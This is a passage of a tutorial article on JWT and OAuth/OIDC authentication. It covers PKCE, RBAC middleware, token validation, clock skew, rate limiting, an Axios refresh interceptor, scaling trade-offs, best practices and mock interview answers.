The flow is easier to follow as a picture. Here's what actually happens when you click "Sign in with Google":

Notice the two tokens come back together but do different jobs: the ID token tells your app who logged in, and the access token lets your app call Google's APIs on the user's behalf. That's the OIDC-plus-OAuth split in one exchange.

ID token vs access token

A distinction people fumble in interviews:

ID tokenAccess token
AnswersWho is the user?What can the bearer do?
ForYour client app to readAn API to authorize a request
FormatAlways a JWTOften a JWT, sometimes opaque
FromOIDCOAuth

The mistake to avoid: don't send the ID token to your API as authorization. The ID token is proof of identity meant for your client. The access token is the one your API should check.

PKCE, in plain words

PKCE (Proof Key for Code Exchange, pronounced "pixy") protects the OAuth flow for apps that can't safely hold a secret, mobile apps and single-page apps, where any embedded secret can be extracted.

In plain terms: before starting login, the app makes up a random secret, hashes it, and sends only the hash to the auth server. When it later exchanges the login code for tokens, it must present the original secret. The server hashes it and checks it matches. So even if an attacker intercepts the login code mid-flow, they can't exchange it for tokens without the original secret, which never left the app. If you're building SPA or mobile login today, you want PKCE.

Sliding sessions

A sliding session extends the login every time the user is active, instead of a hard cutoff. With refresh tokens you get this almost for free: each refresh resets the clock, so an active user stays logged in indefinitely while an idle one eventually times out. Just remember the absolute cap from section 5, so a session can't literally live forever.

Service-to-service and machine-to-machine

Not every caller is a person. When your orders service calls your payments service, or a cron job hits your API, there's no human to log in. The standard answer is the OAuth client credentials flow: the service authenticates with its own ID and secret and gets back a JWT scoped to what it's allowed to do. Same verification machinery, no user involved. This is what "M2M authentication" means when you see it on an auth provider's pricing page.


11. Backend implementation patterns

That's the theory and the security thinking. The home stretch is about actually shipping this, the code patterns you'll reach for on the backend and the frontend. Beyond verifying tokens, real backends need to decide what a verified user can do, and handle the rough edges.

Role-based and permission-based authorization

Authentication got us req.user. Authorization decides what they may do. The simplest model is RBAC (role-based access control): gate routes by role.

function requireRole(...roles) {
  return (req, res, next) => {
    if (!roles.includes(req.user.role)) {
      return res.status(403).json({ error: 'Forbidden' });
    }
    next();
  };
}

// Stack it after auth. 401 = not logged in, 403 = logged in but not allowed.
app.delete('/api/users/:id', requireAuth, requireRole('admin'), handler);

Roles are coarse. When you need finer control, use permissions (also called scopes): specific capabilities like orders:read or users:delete, so you're not forced to invent a new role for every combination.

function requirePermission(perm) {
  return (req, res, next) => {
    if (!req.user.permissions?.includes(perm)) {
      return res.status(403).json({ error: 'Missing permission: ' + perm });
    }
    next();
  };
}

app.delete(
  '/api/users/:id',
  requireAuth,
  requirePermission('users:delete'),
  handler,
);

One caution: permissions in the token are a snapshot from login time. Revoke someone's access and they keep it until their access token expires. That's the short-lifetime argument again. If you can't tolerate the lag, check permissions against your database on sensitive actions instead of trusting the token.

Token validation checklist

A correct jwt.verify checks more than the signature. Make sure you're validating all of it:

  • Signature matches (obviously).
  • exp not passed. Not expired.
  • nbf reached, if used.
  • iss is who you expect.
  • aud includes your service.
  • algorithms pinned to your list. Never trust the header.

jsonwebtoken does most of this when you pass the right options, but you have to actually pass them. The defaults are permissive.

Clock skew

Servers' clocks drift by a few seconds. A token issued on one machine can look "not valid yet" or "just expired" on another whose clock is slightly off, and users see random auth failures. The fix is a small tolerance:

jwt.verify(token, secret, {
  algorithms: ['HS256'],
  clockTolerance: 30, // allow 30 seconds of drift on exp / nbf
});

That's the answer to the interview question "how do you handle clock skew?": a small clockTolerance, plus keeping servers on NTP so they don't drift far in the first place.

Errors, logging, and rate limiting

Return specific, quiet errors: 401 for auth failures, 403 for authorization failures, and a machine-readable code (like TOKEN_EXPIRED) so clients react correctly without you leaking details to attackers.

Log auth events (logins, failures, refreshes, revocations) with user ID, IP, and timestamp. This is your audit trail when something goes wrong, and your early warning when someone's brute-forcing.

Rate limit your auth endpoints, hard. /login and /refresh are the front door for credential-stuffing and brute-force attacks. A few attempts per minute per IP is plenty for real users and murder for attackers:

import rateLimit from 'express-rate-limit';

const loginLimiter = rateLimit({ windowMs: 60_000, max: 5 });
app.post('/login', loginLimiter, loginHandler);

12. Frontend implementation patterns

The frontend's job: log in, hold the token safely, attach it to requests, and refresh silently when it expires. The one piece worth showing in full is the interceptor, because getting it wrong causes the bugs everyone hits.

The auto-refresh interceptor

When a request comes back 401 because the access token expired, you want to refresh once and retry, not log the user out, and not fire ten refresh calls if ten requests fail at once. Here's the pattern with Axios:

import axios from 'axios';

let accessToken = null; // in memory, not localStorage
export const setToken = (t) => {
  accessToken = t;
};

const api = axios.create({ baseURL: '/api', withCredentials: true });

// Attach the token to every outgoing request
api.interceptors.request.use((config) => {
  if (accessToken) config.headers.Authorization = `Bearer ${accessToken}`;
  return config;
});

// Handle 401s: refresh once, queue everything else, then replay
let refreshing = null;

api.interceptors.response.use(
  (res) => res,
  async (error) => {
    const original = error.config;

    if (error.response?.status !== 401 || original._retried) {
      return Promise.reject(error);
    }
    original._retried = true;

    // If a refresh is already in flight, wait for it instead of
    // starting another. This is the bit people forget.
    refreshing ??= api
      .post('/auth/refresh')
      .then((r) => {
        setToken(r.data.accessToken);
      })
      .finally(() => {
        refreshing = null;
      });

    try {
      await refreshing;
      return api(original); // replay the original request
    } catch {
      setToken(null);
      window.location.href = '/login'; // refresh failed → really log out
      return Promise.reject(error);
    }
  },
);

The shared refreshing promise is the important detail. Without it, a page that fires several requests at once will fire several refreshes at once, and with rotation, only the first succeeds while the rest present an already-used token and trip your reuse detection, logging the user out for no reason. One refresh, everyone waits, everyone retries.

Protected pages, silent auth, and persistence

  • Protected pages: on load, if there's no access token, try a silent refresh (the HttpOnly cookie is still there). If that works, the user's logged in without seeing a login screen. If it fails, redirect to login. This is silent authentication, and it's why you stay logged in across page reloads even though the access token only lived in memory.
  • Persisting login state: don't persist the token, persist the session. The refresh cookie survives reloads; on startup you exchange it for a fresh access token. So you get "still logged in tomorrow" without ever writing a token to localStorage.
  • Logout: drop the in-memory token and call the logout endpoint to clear the cookie, exactly as in section 6.

13. Performance and scale

Why JWT scales well

The core win, one more time: every server can verify the token by itself. No database, no cache, no network call to confirm identity. Any server that has the key (or the public key) can check a token on its own. That means:

  • Load balancers can send a user to any server. No sticky sessions, because no server holds session state.
  • Serverless functions, which spin up cold and share nothing, can verify tokens without a shared session store. This is genuinely hard with sessions and easy with JWT.
  • Horizontal scaling is just "add more servers". Nothing coordinates.

The cost: payload size

Here's the trade-off people forget. A session cookie is a tiny ID. A JWT carries its whole payload, and it rides on every single request. Stuff a big permissions array or a profile object in there and you've added a kilobyte to every request and response your users make. Across millions of requests, that bandwidth is real, and it can even push you past header size limits in some proxies.

So keep payloads lean: an ID, a role, an expiry, maybe one or two small claims. Look the rest up server-side. This is the same "don't put everything in the token" advice from the claims section, now with a performance reason attached.

Caching and the honest caveat

Because access tokens are verified without a lookup, you're already avoiding per-request I/O, that's the caching win baked in. The moment you add a blacklist check (section 9), you reintroduce a per-request lookup and give some of that back. It's the recurring theme of this whole article: every bit of revocation power costs you some statelessness. There's no configuration that gives you both instant revocation and zero lookups. Pick the point on that spectrum your app actually needs, and know which one you picked.


14. Best practices, mistakes, and real-world patterns

Do's and don'ts

DoDon't
Pin algorithms on verifyTrust the token's alg header
Use short-lived access tokensIssue 24-hour access tokens
Store refresh tokens in HttpOnly cookiesPut access tokens in localStorage if you can avoid it
Use a long, random secretUse a guessable secret like secret123
Set exp, iss, aud and verify themSkip claim validation
Serve everything over HTTPSSend tokens over plain HTTP
Rotate refresh tokens, detect reuseReuse the same refresh token forever
Keep payloads smallDump the whole user object in the token

Security checklist

  • Long, random signing secret, stored in a secret manager, never in code.
  • Algorithms pinned on every verify call.
  • Short access-token lifetime, longer refresh with an absolute cap.
  • Refresh token rotation with reuse detection.
  • HttpOnly + Secure + SameSite on all auth cookies.
  • HTTPS enforced, HSTS on.
  • Rate limiting on /login and /refresh.
  • A revocation story you can actually execute (per-device and all-devices).
  • Auth events logged and monitored.
  • A key rotation plan using kid.

The common mistakes, in one place

Most JWT incidents trace back to a short list: not pinning the algorithm, using a weak secret, putting secrets or PII in the payload, storing tokens in localStorage and getting hit by XSS, issuing tokens that live too long, forgetting to validate exp/aud/iss, and having no revocation plan when a token gets stolen. If you avoid just those, you're ahead of most production systems.

How the real world does it

  • Google / "Sign in with X": OIDC. You get an ID token (a JWT), and your backend verifies it against Google's JWKS endpoint. Exactly the machinery from section 7.
  • Banking: very short access tokens (minutes), aggressive refresh-token rotation, server-side revocation via Redis, often token binding to a device, and step-up auth (re-verify for sensitive actions). They accept the per-request lookup cost because the stakes justify it.
  • Mobile apps: tokens in the OS keychain/keystore, PKCE for the login flow, refresh tokens for long-lived sessions.
  • SPAs: access token in memory, refresh token in an HttpOnly cookie, silent refresh on load. The pattern this article has been building toward.
  • GraphQL: same auth, different shape. Verify the token in context creation, attach the user to the GraphQL context, and check permissions in resolvers.
  • WebSockets: HTTP headers work on the initial handshake, so send the token then, verify it once on connect, and attach the user to the socket. Don't try to re-auth every message.

15. Interview questions, answered

These come up constantly. So instead of a dry list, let's run it like a real interview. Picture yourself across the table. The questions get harder as they go, and notice that most of them are really probing one thing: do you understand the trade-offs, or did you just memorize "JWT good, sessions bad"?

Interviewer: A user's JWT gets stolen. How do you revoke it?

Here's the honest answer, and it's a bit of a trap: you can't revoke a pure stateless token before it expires. That's the design, not a bug. So what I'd actually do is shrink the window with a short access-token lifetime, revoke the refresh token so no new access tokens can be minted, and if the product needs an instant kill, add a Redis blacklist of jtis checked in middleware. I'd call out that last part as a cost, not a freebie.

Interviewer: Then why not just make the access token valid for 24 hours and avoid all that refresh complexity?

Because a stolen token is usable for its whole lifetime and I can't take it back. 24 hours means one leak buys the attacker a full day. A 15-minute token plus a refresh flow gives me long sessions for real users without the long exposure for attackers. The complexity buys containment.

Interviewer: Okay. How do you log someone out of all their devices at once?

Two ways. Revoke every refresh token for that user, or bump a tokenVersion on the user record and reject any token carrying an older version. Both kill every existing session. I'd mention the version trick needs a user lookup on requests, so it trades a little statelessness for the ability to invalidate everything instantly.

Interviewer: What happens if your signing secret leaks?

That one's bad, it's game over for that secret. Anyone can forge valid tokens for any user. I'd rotate immediately using kid so I can phase the new key in, and since signatures no longer prove anything, effectively everyone re-authenticates. And honestly, this is the argument for asymmetric keys: the verifying services only ever hold the public key, so a leak on their side forges nothing.

Interviewer: Speaking of which, how do you rotate signing keys without logging everyone out?

The kid header. I add the new key and start signing with it, but keep the old key valid for verification until every token signed with it has expired. Then I retire it. Old tokens age out on their own, new tokens use the new key, and nobody gets kicked.

Interviewer: You keep mentioning Redis. Why would you even use Redis with JWT if the whole point is that JWT is stateless?

Fair challenge. I use it for the state a JWT genuinely can't hold: a revocation blacklist for instant logout, and refresh-token tracking. Redis is fast and its TTLs let entries expire exactly when the token would. But I want to be clear that this reintroduces a per-request lookup, the same thing we left sessions to avoid. So I only reach for it when instant revocation actually matters. It's a deliberate trade, not a default.

Interviewer: Your tokens keep failing verification by a second or two across servers. What's going on?

Clock skew. The servers' clocks have drifted apart, so a token looks "not valid yet" or "just expired" on a machine whose clock is slightly off. I'd allow a small clockTolerance, say 30 seconds, on the exp and nbf checks, and keep the servers on NTP so they don't drift far in the first place.

Interviewer: Last one. Design authentication for millions of users.

The whole game is keeping verification off any shared bottleneck. So: stateless JWT verification so any server handles any request, no sticky sessions, no central session store. Asymmetric keys so services verify with just the public key. Short access tokens, rotating refresh tokens in a store that scales. Redis for revocation only if the product truly needs instant logout. And rate limiting plus monitoring on the auth endpoints, because that's where the attacks land.

Interviewer: So, JWT or sessions?

Depends on the system, and saying that is the right answer, not a dodge. A single server-rendered app on one domain? Sessions are simpler and revocation is trivial, so I'd use them. APIs, mobile clients, microservices, anything that has to scale horizontally without shared session state? JWT. The deciding question is almost always "do I need instant, easy revocation, or easy horizontal scale?" You rarely get both for free, and a good candidate knows which one they're giving up.


16. TL;DR

  • Auth is stateless by nature. Every request must re-prove identity. Sessions store that proof on the server; JWTs put a signed copy in the client's hands.
  • A JWT is signed, not encrypted. Anyone can read the payload. Never put secrets or sensitive PII in it.
  • Pin the algorithm on verify. algorithms: ['HS256']. This single line stops the alg: none and algorithm-confusion attacks.
  • Two tokens beat one. Short-lived access token for requests, long-lived refresh token (tracked in a DB) to stay logged in and to enable revocation.
  • You can't truly log out a stateless token. Real logout means revoking the refresh token, bumping a token version, or blacklisting in Redis.
  • Defenses that matter most: short lifetimes, HttpOnly/Secure/SameSite cookies, HTTPS, refresh-token rotation with reuse detection.
  • JWT shines across services: local verification, no central lookup, which is why microservices, SSO, and serverless lean on it. Asymmetric keys (RS256) when many services verify.
  • The recurring trade-off: every bit of revocation power costs statelessness. Pick your point on that line deliberately.

Sessions and JWTs aren't rivals where one wins. They're two answers to the same stateless-HTTP problem, tuned for different shapes of system. Sessions keep the state on your side and make logout trivial. JWTs hand the state to the client and make scaling trivial. Once you can see that trade, most of the "which one?" arguments answer themselves.

And if the field keeps moving, the ideas travel. PASETO tightens up JWT's footguns by dropping the algorithm-choice problem entirely. OAuth 2.1 is folding today's best practices (like mandatory PKCE) into the spec. But the mental model, a signed, verifiable, expiring proof of identity, is the part worth keeping. Learn it once here, and the next acronym is just a new coat of paint.